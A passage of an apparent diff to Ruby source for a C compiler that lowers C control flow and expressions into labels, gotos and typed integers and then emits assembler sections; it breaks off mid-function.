init.lexpr) if init.lexpr.kind_of? CExpression - end - init - end - end - end - - class If - def precompile(compiler, scope) - expr = lambda { |e| e.kind_of?(CExpression) ? e : CExpression.new(nil, nil, e, e.type) } - - if @bthen.kind_of? Goto or @bthen.kind_of? Break or @bthen.kind_of? Continue - # if () goto l; else b; => if () goto l; b; - if belse - t1 = @belse - @belse = nil - end - - # need to convert user-defined Goto target ! - @bthen.precompile(compiler, scope) - @bthen = scope.statements.pop # break => goto break_label - elsif belse - # if () a; else b; => if () goto then; b; goto end; then: a; end: - t1 = @belse - t2 = @bthen - l2 = compiler.new_label('if_then') - @bthen = Goto.new(l2) - @belse = nil - l3 = compiler.new_label('if_end') - else - # if () a; => if (!) goto end; a; end: - t1 = @bthen - l2 = compiler.new_label('if_end') - @bthen = Goto.new(l2) - @test = CExpression.negate(@test) - end - - @test = expr[@test] - case @test.op - when :'&&' - # if (c1 && c2) goto a; => if (!c1) goto b; if (c2) goto a; b: - l1 = compiler.new_label('if_nand') - If.new(CExpression.negate(@test.lexpr), Goto.new(l1)).precompile(compiler, scope) - @test = expr[@test.rexpr] - precompile(compiler, scope) - when :'||' - l1 = compiler.new_label('if_or') - If.new(expr[@test.lexpr], Goto.new(@bthen.target)).precompile(compiler, scope) - @test = expr[@test.rexpr] - precompile(compiler, scope) - else - @test = CExpression.precompile_inner(compiler, scope, @test) - t = @test.reduce(compiler) - if t.kind_of? ::Integer - if t == 0 - Label.new(l1, nil).precompile(compiler, scope) if l1 - t1.precompile(compiler, scope) if t1 - Label.new(l2, nil).precompile(compiler, scope) if l2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - else - scope.statements << @bthen - Label.new(l1, nil).precompile(compiler, scope) if l1 - Label.new(l2, nil).precompile(compiler, scope) if l2 - t2.precompile(compiler, scope) if t2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - end - return - end - scope.statements << self - end - - Label.new(l1, nil).precompile(compiler, scope) if l1 - t1.precompile(compiler, scope) if t1 - Goto.new(l3).precompile(compiler, scope) if l3 - Label.new(l2, nil).precompile(compiler, scope) if l2 - t2.precompile(compiler, scope) if t2 - Label.new(l3, nil).precompile(compiler, scope) if l3 - end - end - - class For - def precompile(compiler, scope) - if init - @init.precompile(compiler, scope) - scope = @init if @init.kind_of? Block - end - - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label 'for_continue' - @body.break_label = compiler.new_label 'for_break' - label_test = compiler.new_label 'for_test' - - Label.new(label_test).precompile(compiler, scope) - if test - If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) - end - - @body.precompile(compiler, scope) - - Label.new(@body.continue_label).precompile(compiler, scope) - if iter - @iter.precompile(compiler, scope) - end - - Goto.new(label_test).precompile(compiler, scope) - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class While - def precompile(compiler, scope) - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label('while_continue') - @body.break_label = compiler.new_label('while_break') - - Label.new(@body.continue_label).precompile(compiler, scope) - - If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) - - @body.precompile(compiler, scope) - - Goto.new(@body.continue_label).precompile(compiler, scope) - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class DoWhile - def precompile(compiler, scope) - @body = @body.precompile_make_block scope - @body.continue_label = compiler.new_label('dowhile_continue') - @body.break_label = compiler.new_label('dowhile_break') - loop_start = compiler.new_label('dowhile_start') - - Label.new(loop_start).precompile(compiler, scope) - - @body.precompile(compiler, scope) - - Label.new(@body.continue_label).precompile(compiler, scope) - - If.new(@test, Goto.new(loop_start)).precompile(compiler, scope) - - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class Switch - def precompile(compiler, scope) - var = Variable.new - var.storage = :register - var.name = compiler.new_label('switch') - var.type = @test.type - var.initializer = @test - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - - @body = @body.precompile_make_block scope - @body.break_label = compiler.new_label('switch_break') - @body.precompile(compiler) - default = @body.break_label - # recursive lambda to change Case to Labels - # dynamically creates the If sequence - walk = lambda { |blk| - blk.statements.each_with_index { |s, i| - case s - when Case - label = compiler.new_label('case') - if s.expr == 'default' - default = label - elsif s.exprup - If.new(CExpression.new(CExpression.new(var, :'>=', s.expr, BaseType.new(:int)), :'&&', - CExpression.new(var, :'<=', s.exprup, BaseType.new(:int)), - BaseType.new(:int)), Goto.new(label)).precompile(compiler, scope) - else - If.new(CExpression.new(var, :'==', s.expr, BaseType.new(:int)), - Goto.new(label)).precompile(compiler, scope) - end - blk.statements[i] = Label.new(label) - when Block - walk[s] - end - } - } - walk[@body] - Goto.new(default).precompile(compiler, scope) - scope.statements << @body - Label.new(@body.break_label).precompile(compiler, scope) - end - end - - class Continue - def precompile(compiler, scope) - Goto.new(scope.continue_label).precompile(compiler, scope) - end - end - - class Break - def precompile(compiler, scope) - Goto.new(scope.break_label).precompile(compiler, scope) - end - end - - class Return - def precompile(compiler, scope) - if @value - @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression - if @value.type.untypedef.kind_of? Struct - @value = @value.precompile_inner(compiler, scope) - func = scope.function.type - CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) - @value = func.args.first - else - # cast to function return type - @value = CExpression.new(nil, nil, @value, scope.function.type.type).precompile_inner(compiler, scope) - end - scope.statements << self - end - Goto.new(scope.return_label).precompile(compiler, scope) - end - end - - class Label - def precompile(compiler, scope) - if name and (not compiler.auto_label_list[@name]) - @name = scope.nonauto_label[@name] ||= compiler.new_label(@name) - end - scope.statements << self - if statement - @statement.precompile(compiler, scope) - @statement = nil - end - end - end - - class Case - def precompile(compiler, scope) - @expr = CExpression.precompile_inner(compiler, scope, @expr) - @exprup = CExpression.precompile_inner(compiler, scope, @exprup) if exprup - super(compiler, scope) - end - end - - class Goto - def precompile(compiler, scope) - if not compiler.auto_label_list[@target] - @target = scope.nonauto_label[@target] ||= compiler.new_label(@target) - end - scope.statements << self - end - end - - class Asm - def precompile(compiler, scope) - scope.statements << self - # TODO CExpr.precompile_type(clobbers) - end - end - - class CExpression - def precompile(compiler, scope) - i = precompile_inner(compiler, scope, false) - scope.statements << i if i - end - - # changes obj.type to a precompiled type - # keeps struct/union, change everything else to __int\d - # except Arrays if declaration is true (need to know variable allocation sizes etc) - # returns the type - def self.precompile_type(compiler, scope, obj, declaration = false) - case t = obj.type.untypedef - when BaseType - case t.name - when :void - when :float, :double, :longdouble - else t = BaseType.new("__int#{compiler.typesize[t.name]*8}".to_sym, t.specifier) - end - when Array - if declaration; precompile_type(compiler, scope, t, declaration) - else t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) - end - when Pointer - if t.type.untypedef.kind_of? Function - precompile_type(compiler, scope, t, declaration) - else - t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) - end - when Enum; t = BaseType.new("__int#{compiler.typesize[:int]*8}".to_sym) - when Function - precompile_type(compiler, scope, t) - t.args ||= [] - t.args.each { |a| precompile_type(compiler, scope, a) } - when Union - if declaration and t.members and not t.name # anonymous struct - t.members.each { |a| precompile_type(compiler, scope, a, true) } - end - else raise 'bad type ' + t.inspect - end - (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type - (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type - while obj.type.kind_of? TypeDef - obj.type = obj.type.type - (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type - (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type - end - obj.type = t - end - - def self.precompile_inner(compiler, scope, expr, nested = true) - case expr - when CExpression; expr.precompile_inner(compiler, scope, nested) - else expr - end - end - - # returns a new CExpression with simplified self.type, computes structure offsets - # turns char[]/float immediates to reference to anonymised const - # TODO 'a = b += c' => 'b += c; a = b' (use nested argument) - # TODO handle precompile_inner return nil - # TODO struct.bits - def precompile_inner(compiler, scope, nested = true) - case @op - when :'.' - # a.b => (&a)->b - lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - ll = lexpr - ll = lexpr.rexpr while ll.kind_of? CExpression and not ll.op - if ll.kind_of? CExpression and ll.op == :'*' and not ll.lexpr - # do not change lexpr.rexpr.type directly to a pointer, might retrigger (ptr+imm) => (ptr + imm*sizeof(*ptr)) - @lexpr = CExpression.new(nil, nil, ll.rexpr, Pointer.new(lexpr.type)) - else - @lexpr = CExpression.new(nil, :'&', lexpr, Pointer.new(lexpr.type)) - end - @op = :'->' - precompile_inner(compiler, scope) - when :'->' - # a->b => *(a + off(b)) - struct = @lexpr.type.untypedef.type.untypedef - lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @lexpr = nil - @op = nil - if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0 - off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) - @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) - # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) - CExpression.precompile_type(compiler, scope, @rexpr) - else - # union or 1st struct member - @rexpr = lexpr - end - if @type.kind_of? Array # Array member type is already an address - else - @rexpr = CExpression.new(nil, :*, @rexpr, @rexpr.type) - end - precompile_inner(compiler, scope) - when :'[]' - rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - if rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr == 0 - @rexpr = @lexpr - else - @rexpr = CExpression.new(@lexpr, :'+', rexpr, @lexpr.type) - end - @op = :'*' - @lexpr = nil - precompile_inner(compiler, scope) - when :'?:' - # cannot precompile in place, a conditionnal expression may have a coma: must turn into If - if @lexpr.kind_of? CExpression - @lexpr = @lexpr.precompile_inner(compiler, scope) - if not @lexpr.lexpr and not @lexpr.op and @lexpr.rexpr.kind_of? ::Numeric - if @lexpr.rexpr == 0 - e = @rexpr[1] - else - e = @rexpr[0] - end - e = CExpression.new(nil, nil, e, e.type) if not e.kind_of? CExpression - return e.precompile_inner(compiler, scope) - end - end - raise 'conditional in toplevel' if scope == compiler.toplevel # just in case - var = Variable.new - var.storage = :register - var.name = compiler.new_label('ternary') - var.type = @rexpr[0].type - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - If.new(@lexpr, CExpression.new(var, :'=', @rexpr[0], var.type), CExpression.new(var, :'=', @rexpr[1], var.type)).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - when :'&&' - if scope == compiler.toplevel - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - else - var = Variable.new - var.storage = :register - var.name = compiler.new_label('and') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - var.initializer = CExpression.new(nil, nil, 0, var.type) - Declaration.new(var).precompile(compiler, scope) - l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 1, var.type), var.type))).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - end - when :'||' - if scope == compiler.toplevel - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - else - var = Variable.new - var.storage = :register - var.name = compiler.new_label('or') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - var.initializer = CExpression.new(nil, nil, 1, var.type) - Declaration.new(var).precompile(compiler, scope) - l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - l = CExpression.new(nil, :'!', l, var.type) - r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - r = CExpression.new(nil, :'!', r, var.type) - If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 0, var.type), var.type))).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - end - when :funcall - if @lexpr.kind_of? Variable and @lexpr.type.kind_of? Function and @lexpr.attributes and @lexpr.attributes.include? 'inline' and @lexpr.initializer - # TODO check recursive call (direct or indirect) - raise 'inline varargs unsupported' if @lexpr.type.varargs - rtype = @lexpr.type.type.untypedef - if not rtype.kind_of? BaseType or rtype.name != :void - rval = Variable.new - rval.name = compiler.new_label('inline_return') - rval.type = @lexpr.type.type - Declaration.new(rval).precompile(compiler, scope) - end - inline_label = {} - locals = @lexpr.type.args.zip(@rexpr).inject({}) { |h, (fa, a)| - h.update fa => CExpression.new(nil, nil, a, fa.type).precompile_inner(compiler, scope) - } - copy_inline_ce = lambda { |ce| - case ce - when CExpression; CExpression.new(copy_inline_ce[ce.lexpr], ce.op, copy_inline_ce[ce.rexpr], ce.type) - when Variable; locals[ce] || ce - when ::Array; ce.map { |e_| copy_inline_ce[e_] } - else ce - end - } - copy_inline = lambda { |stmt, scp| - case stmt - when Block - b = Block.new(scp) - stmt.statements.each { |s| - s = copy_inline[s, b] - b.statements << s if s - } - b - when If; If.new(copy_inline_ce[stmt.test], copy_inline[stmt.bthen, scp]) # re-precompile ? - when Label; Label.new(inline_label[stmt.name] ||= compiler.new_label('inline_'+stmt.name)) - when Goto; Goto.new(inline_label[stmt.target] ||= compiler.new_label('inline_'+stmt.target)) - when Return; CExpression.new(rval, :'=', copy_inline_ce[stmt.value], rval.type).precompile_inner(compiler, scp) if stmt.value - when CExpression; copy_inline_ce[stmt] - when Declaration - nv = stmt.var.dup - if nv.type.kind_of? Array and nv.type.length.kind_of? CExpression - nv.type = Array.new(nv.type.type, copy_inline_ce[nv.type.length]) # XXX nested dynamic? - end - locals[stmt.var] = nv - scp.symbol[nv.name] = nv - Declaration.new(nv) - else raise 'unexpected inline statement ' + stmt.inspect - end - } - scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled - CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) - elsif @type.kind_of? Struct - var = Variable.new - var.name = compiler.new_label('return_struct') - var.type = @type - Declaration.new(var).precompile(compiler, scope) - @rexpr.unshift CExpression.new(nil, :&, var, Pointer.new(var.type)) - - var2 = Variable.new - var2.name = compiler.new_label('return_struct_ptr') - var2.type = Pointer.new(@type) - var2.storage = :register - CExpression.precompile_type(compiler, scope, var2) - Declaration.new(var2).precompile(compiler, scope) - @type = var2.type - CExpression.new(var2, :'=', self, var2.type).precompile(compiler, scope) - - CExpression.new(nil, :'*', var2, var.type).precompile_inner(compiler, scope) - else - t = @lexpr.type.untypedef - t = t.type.untypedef if t.pointer? - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - types = t.args.map { |a| a.type } - # cast args to func prototype - @rexpr.map! { |e_| (types.empty? ? e_ : CExpression.new(nil, nil, e_, types.shift)).precompile_inner(compiler, scope) } - CExpression.precompile_type(compiler, scope, self) - self - end - when :',' - lexpr = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) - rexpr = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) - lexpr.precompile(compiler, scope) - rexpr.precompile_inner(compiler, scope) - when :'!' - CExpression.precompile_type(compiler, scope, self) - if @rexpr.kind_of?(CExpression) - case @rexpr.op - when :'<', :'>', :'<=', :'>=', :'==', :'!=' - @op = { :'<' => :'>=', :'>' => :'<=', :'<=' => :'>', :'>=' => :'<', - :'==' => :'!=', :'!=' => :'==' }[@rexpr.op] - @lexpr = @rexpr.lexpr - @rexpr = @rexpr.rexpr - precompile_inner(compiler, scope) - when :'&&', :'||' - @op = { :'&&' => :'||', :'||' => :'&&' }[@rexpr.op] - @lexpr = CExpression.new(nil, :'!', @rexpr.lexpr, @type) - @rexpr = CExpression.new(nil, :'!', @rexpr.rexpr, @type) - precompile_inner(compiler, scope) - when :'!' - if @rexpr.rexpr.kind_of? CExpression - @op = nil - @rexpr = @rexpr.rexpr - else - @op = :'!=' - @lexpr = @rexpr.rexpr - @rexpr = CExpression.new(nil, nil, 0, @lexpr.type) - end - precompile_inner(compiler, scope) - else - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - else - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - when :'++', :'--' - if not @rexpr - var = Variable.new - var.storage = :register - var.name = compiler.new_label('postincrement') - var.type = @type - Declaration.new(var).precompile(compiler, scope) - CExpression.new(var, :'=', @lexpr, @type).precompile(compiler, scope) - CExpression.new(nil, @op, @lexpr, @type).precompile(compiler, scope) - @lexpr = nil - @op = nil - @rexpr = var - precompile_inner(compiler, scope) - elsif @type.pointer? and compiler.sizeof(nil, @type.untypedef.type.untypedef) != 1 - # ++ptr => ptr += sizeof(*ptr) (done in += precompiler) - @op = { :'++' => :'+=', :'--' => :'-=' }[@op] - @lexpr = @rexpr - @rexpr = CExpression.new(nil, nil, 1, BaseType.new(:ptr, :unsigned)) - precompile_inner(compiler, scope) - else - CExpression.precompile_type(compiler, scope, self) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - self - end - when :'=' - # handle structure assignment/array assignment - case @lexpr.type.untypedef - when Union - # rexpr may be a :funcall - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - @lexpr.type.untypedef.members.zip(@rexpr.type.untypedef.members) { |m1, m2| - # assume m1 and m2 are compatible - v1 = CExpression.new(@lexpr, :'.', m1.name, m1.type) - v2 = CExpression.new(@rexpr, :'.', m2.name, m1.type) - CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) - } - # (foo = bar).toto - @op = nil - @rexpr = @lexpr - @lexpr = nil - @type = @rexpr.type - precompile_inner(compiler, scope) if nested - when Array - if not len = @lexpr.type.untypedef.length - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - # char toto[] = "bla" - if @rexpr.kind_of? CExpression and not @rexpr.lexpr and not @rexpr.op and - @rexpr.rexpr.kind_of? Variable and @rexpr.rexpr.type.kind_of? Array - len = @rexpr.rexpr.type.length - end - end - raise 'array initializer with no length !' if not len - # TODO optimize... - len.times { |i| - i = CExpression.new(nil, nil, i, BaseType.new(:long, :unsigned)) - v1 = CExpression.new(@lexpr, :'[]', i, @lexpr.type.untypedef.type) - v2 = CExpression.new(@rexpr, :'[]', i, v1.type) - CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) - } - @op = nil - @rexpr = @lexpr - @lexpr = nil - @type = @rexpr.type - precompile_inner(compiler, scope) if nested - else - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - CExpression.precompile_type(compiler, scope, self) - self - end - when nil - case @rexpr - when Block - # compound statements - raise 'compound statement in toplevel' if scope == compiler.toplevel # just in case - var = Variable.new - var.storage = :register - var.name = compiler.new_label('compoundstatement') - var.type = @type - CExpression.precompile_type(compiler, scope, var) - Declaration.new(var).precompile(compiler, scope) - if @rexpr.statements.last.kind_of? CExpression - @rexpr.statements[-1] = CExpression.new(var, :'=', @rexpr.statements[-1], var.type) - @rexpr.precompile(compiler, scope) - end - @rexpr = var - precompile_inner(compiler, scope) - when ::String - # char[] immediate - v = Variable.new - v.storage = :static - v.name = 'char_' + @rexpr.tr('^a-zA-Z', '')[0, 8] - v.type = Array.new(@type.type) - v.type.length = @rexpr.length + 1 - v.type.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, @rexpr, @type) - Declaration.new(v).precompile(compiler, scope) - @rexpr = v - precompile_inner(compiler, scope) - when ::Float - # float immediate - v = Variable.new - v.storage = :static - v.name = @type.untypedef.name.to_s - v.type = @type - v.type.qualifier = [:const] - v.initializer = CExpression.new(nil, nil, @rexpr, @type) - Declaration.new(v).precompile(compiler, scope) - @rexpr = CExpression.new(nil, :'*', v, v.type) - precompile_inner(compiler, scope) - when CExpression - # simplify casts - CExpression.precompile_type(compiler, scope, self) - # propagate type first so that __uint64 foo() { return -1 } => 0xffffffffffffffff - @rexpr.type = @type if @rexpr.kind_of? CExpression and @rexpr.op == :- and not @rexpr.lexpr and @type.kind_of? BaseType and @type.name == :__int64 # XXX kill me - @rexpr = @rexpr.precompile_inner(compiler, scope) - if @type.kind_of? BaseType and @rexpr.type.kind_of? BaseType - if @rexpr.type == @type - # noop cast - @lexpr, @op, @rexpr = @rexpr.lexpr, @rexpr.op, @rexpr.rexpr - elsif not @rexpr.op and @type.integral? and @rexpr.type.integral? - if @rexpr.rexpr.kind_of? ::Numeric and (val = reduce(compiler)).kind_of? ::Numeric - @rexpr = val - elsif compiler.typesize[@type.name] < compiler.typesize[@rexpr.type.name] - # (char)(short)(int)(long)foo => (char)foo - @rexpr = @rexpr.rexpr - end - end - end - self - else - CExpression.precompile_type(compiler, scope, self) - self - end - else - # int+ptr => ptr+int - if @op == :+ and @lexpr and @lexpr.type.integral? and @rexpr.type.pointer? - @rexpr, @lexpr = @lexpr, @rexpr - end - - # handle pointer + 2 == ((char *)pointer) + 2*sizeof(*pointer) - if @rexpr and [:'+', :'+=', :'-', :'-='].include? @op and - @type.pointer? and @rexpr.type.integral? - sz = compiler.sizeof(nil, @type.untypedef.type.untypedef) - if sz != 1 - sz = CExpression.new(nil, nil, sz, @rexpr.type) - @rexpr = CExpression.new(@rexpr, :'*', sz, @rexpr.type) - end - end - - # type promotion => cast - case @op - when :+, :-, :*, :/, :&, :|, :^, :% - if @lexpr - if @lexpr.type != @type - @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression - @lexpr = CExpression.new(nil, nil, @lexpr, @type) - end - if @rexpr.type != @type - @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression - @rexpr = CExpression.new(nil, nil, @rexpr, @type) - end - end - when :>>, :<< - # char => int - if @lexpr.type != @type - @lexpr = CExpression.new(nil, nil, @lexpr, @lexpr.type) if not @lexpr.kind_of? CExpression - @lexpr = CExpression.new(nil, nil, @lexpr, @type) - end - when :'+=', :'-=', :'*=', :'/=', :'&=', :'|=', :'^=', :'%=' - if @rexpr.type != @lexpr.type - @rexpr = CExpression.new(nil, nil, @rexpr, @rexpr.type) if not @rexpr.kind_of? CExpression - @rexpr = CExpression.new(nil, nil, @rexpr, @type) - end - end - - @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) - @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) - - if @op == :'&' and not @lexpr - rr = @rexpr - rr = rr.rexpr while rr.kind_of? CExpression and not rr.op - if rr.kind_of? CExpression and rr.op == :'*' and not rr.lexpr - @lexpr = nil - @op = nil - @rexpr = rr.rexpr - return precompile_inner(compiler, scope) - elsif rr != @rexpr - @rexpr = rr - return precompile_inner(compiler, scope) - end - end - - CExpression.precompile_type(compiler, scope, self) - - isnumeric = lambda { |e_| e_.kind_of?(::Numeric) or (e_.kind_of? CExpression and - not e_.lexpr and not e_.op and e_.rexpr.kind_of? ::Numeric) } - - # calc numeric - # XXX do not simplify operations involving variables (for type overflow etc) - if isnumeric[@rexpr] and (not @lexpr or isnumeric[@lexpr]) and (val = reduce(compiler)).kind_of? ::Numeric - @lexpr = nil - @op = nil - @rexpr = val - end - - self - end - end - end + class Parser + def precompile + @toplevel.precompile(Compiler.new(self)) + self + end + end + + # each CPU defines a subclass of this one + class Compiler + # an ExeFormat (mostly used for unique label creation) + attr_accessor :exeformat + # the C Parser (destroyed by compilation) + attr_accessor :parser + # an array of assembler statements (strings) + attr_accessor :source + # list of unique labels generated (to recognize user-defined ones) + attr_accessor :auto_label_list + + attr_accessor :curexpr + # allows 'raise self' (eg struct.offsetof) + def exception(msg='EOF unexpected') + ParseError.new "near #@curexpr: #{msg}" + end + + # creates a new CCompiler from an ExeFormat and a C Parser + def initialize(parser, exeformat=ExeFormat.new, source=[]) + @parser, @exeformat, @source = parser, exeformat, source + @auto_label_list = {} + end + + def new_label(base='') + lbl = @exeformat.new_label base + @auto_label_list[lbl] = true + lbl + end + + def toplevel ; @parser.toplevel end + def typesize ; @parser.typesize end + def sizeof(*a) @parser.sizeof(*a) end + + # compiles the c parser toplevel to assembler statements in self.source (::Array of ::String) + # + # starts by precompiling parser.toplevel (destructively): + # static symbols are converted to toplevel ones, as nested functions + # uses an ExeFormat (the argument) to create unique label/variable names + # + # remove typedefs/enums + # CExpressions: all expr types are converted to __int8/__int16/__int32/__int64 (sign kept) (incl. ptr), + void + # struct member dereference/array indexes are converted to *(ptr + off) + # coma are converted to 2 statements, ?: are converted to If + # :|| and :&& are converted to If + assignment to temporary + # immediate quotedstrings/floats are converted to references to const static toplevel + # postincrements are replaced by a temporary (XXX arglist) + # compound statements are unnested + # Asm are kept (TODO precompile clobber types) + # Declarations: initializers are converted to separate assignment CExpressions + # Blocks are kept unless empty + # structure dereferences/array indexing are converted to *(ptr + offset) + # While/For/DoWhile/Switch are converted to If/Goto + # Continue/Break are converted to Goto + # Cases are converted to Labels during Switch conversion + # Label statements are removed + # Return: 'return ;' => 'return ; goto ;', 'return;' => 'goto ;' + # If: 'if (a) b; else c;' => 'if (a) goto l1; { c; }; goto l2; l1: { b; } l2:' + # && and || in condition are expanded to multiple If + # functions returning struct are precompiled (in Declaration/CExpression/Return) + # + # in a second phase, unused labels are removed from functions, as noop goto (goto x; x:) + # dead code is removed ('goto foo; bar; baz:' => 'goto foo; baz:') (TODO) + # + # after that, toplevel is no longer valid C (bad types, blocks moved...) + # + # then toplevel statements are sorted (.text, .data, .rodata, .bss) and compiled into asm statements in self.source + # + # returns the asm source in a single string + def compile + cf = @exeformat.unique_labels_cache.keys & @auto_label_list.keys + raise "compile_c name conflict: #{cf.inspect}" if not cf.empty? + @exeformat.unique_labels_cache.update @auto_label_list + + @parser.toplevel.precompile(self) + + # reorder statements (arrays of Variables) following exe section typical order + funcs, rwdata, rodata, udata = [], [], [], [] + @parser.toplevel.statements.each { |st| + if st.kind_of? Asm + @source << st.body + next + end + raise 'non-declaration at toplevel! ' + st.inspect if not st.kind_of? Declaration + v = st.var + if v.type.kind_of? Function + funcs << v if v.initializer # no initializer == storage :extern + elsif v.storage == :extern + elsif v.initializer + if v.type.qualifier.to_a.include?(:const) or + (v.type.kind_of? Array and v.type.type.qualifier.to_a.include?(:const)) + rodata << v + else + rwdata << v + end + else + udata << v + end + } + + if not funcs.empty? + @exeformat.compile_setsection @source, '.text' + funcs.each { |func| c_function(func) } + c_program_epilog + end + + align = 1 + if not rwdata.empty? + @exeformat.compile_setsection @source, '.data' + rwdata.each { |data| align = c_idata(data, align) } + end + + if not rodata.empty? + @exeformat.compile_setsection @source, '.rodata' + rodata.each { |data| align = c_idata(data, align) } + end + + if not udata.empty? + @exeformat.compile_setsection @source, '.bss' + udata.each { |data| align = c_udata(data, align) } + end + + # needed to allow asm parser to use our autogenerated label names + @exeformat.unique_labels_cache.delete_if { |k, v| @auto_label_list[k] } + + @source.join("\n") + end + + # compiles a C function +func+ to asm source into the array of strings +str+ + # in a first pass the stack variable offsets are computed, + # then each statement is compiled in turn + def c_function(func) + # must wait the Declaration to run the CExpr for dynamic auto offsets, + # and must run those statements once only + # TODO alloc a stack variable to maintain the size for each dynamic array + # TODO offset of arguments + # TODO nested function + c_init_state(func) + + # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) + @source << '' << "#{func.name}:" + presource, @source = @source, [] + + c_block(func.initializer) + + tmpsource, @source = @source, presource + c_prolog + @source.concat tmpsource + c_epilog + @source << '' + end + + def c_block(blk) + c_block_enter(blk) + blk.statements.each { |stmt| + case stmt + when CExpression; c_cexpr(stmt) + when Declaration; c_decl(stmt.var) + when If; c_ifgoto(stmt.test, stmt.bthen.target) + when Goto; c_goto(stmt.target) + when Label; c_label(stmt.name) + when Return; c_return(stmt.value) + when Asm; c_asm(stmt) + when Block; c_block(stmt) + else raise + end + } + c_block_exit(blk) + end + + def c_block_enter(blk) + end + + def c_block_exit(blk) + end + + def c_label(name) + @source << "#{name}:" + end + + # fills @state.offset (empty hash) + # automatic variable => stack offset, (recursive) + # offset is an ::Integer or a CExpression (dynamic array) + # assumes offset 0 is a ptr-size-aligned address + # TODO registerize automatic variables + def c_reserve_stack(block, off = 0) + block.statements.each { |stmt| + case stmt + when Declaration + next if stmt.var.type.kind_of? Function + off = c_reserve_stack_var(stmt.var, off) + @state.offset[stmt.var] = off + when Block + c_reserve_stack(stmt, off) + # do not update off, not nested subblocks can overlap + end + } + end + + # computes the new stack offset for var + # off is either an offset from stack start (:ptr-size-aligned) or + # a CExpression [[[expr, +, 7], &, -7], +, off] + def c_reserve_stack_var(var, off) + if (arr_type = var.type).kind_of? Array and (arr_sz = arr_type.length).kind_of? CExpression + # dynamic array ! + arr_sz = CExpression.new(arr_sz, :*, sizeof(nil, arr_type.type), + BaseType.new(:long, :unsigned)).precompile_inner(@parser, nil) + off = CExpression.new(arr_sz, :+, off, arr_sz.type) + off = CExpression.new(off, :+, 7, off.type) + off = CExpression.new(off, :&, -7, off.type) + CExpression.new(off, :+, 0, off.type) + else + al = var.type.align(@parser) + sz = sizeof(var) + case off + when CExpression; CExpression.new(off.lexpr, :+, ((off.rexpr + sz + al - 1) / al * al), off.type) + else (off + sz + al - 1) / al * al + end + end + end + + # here you can add thing like stubs for PIC code + def c_program_epilog + end + + # compiles a C static data definition into an asm string + # returns the new alignment value + def c_idata(data, align) + w = 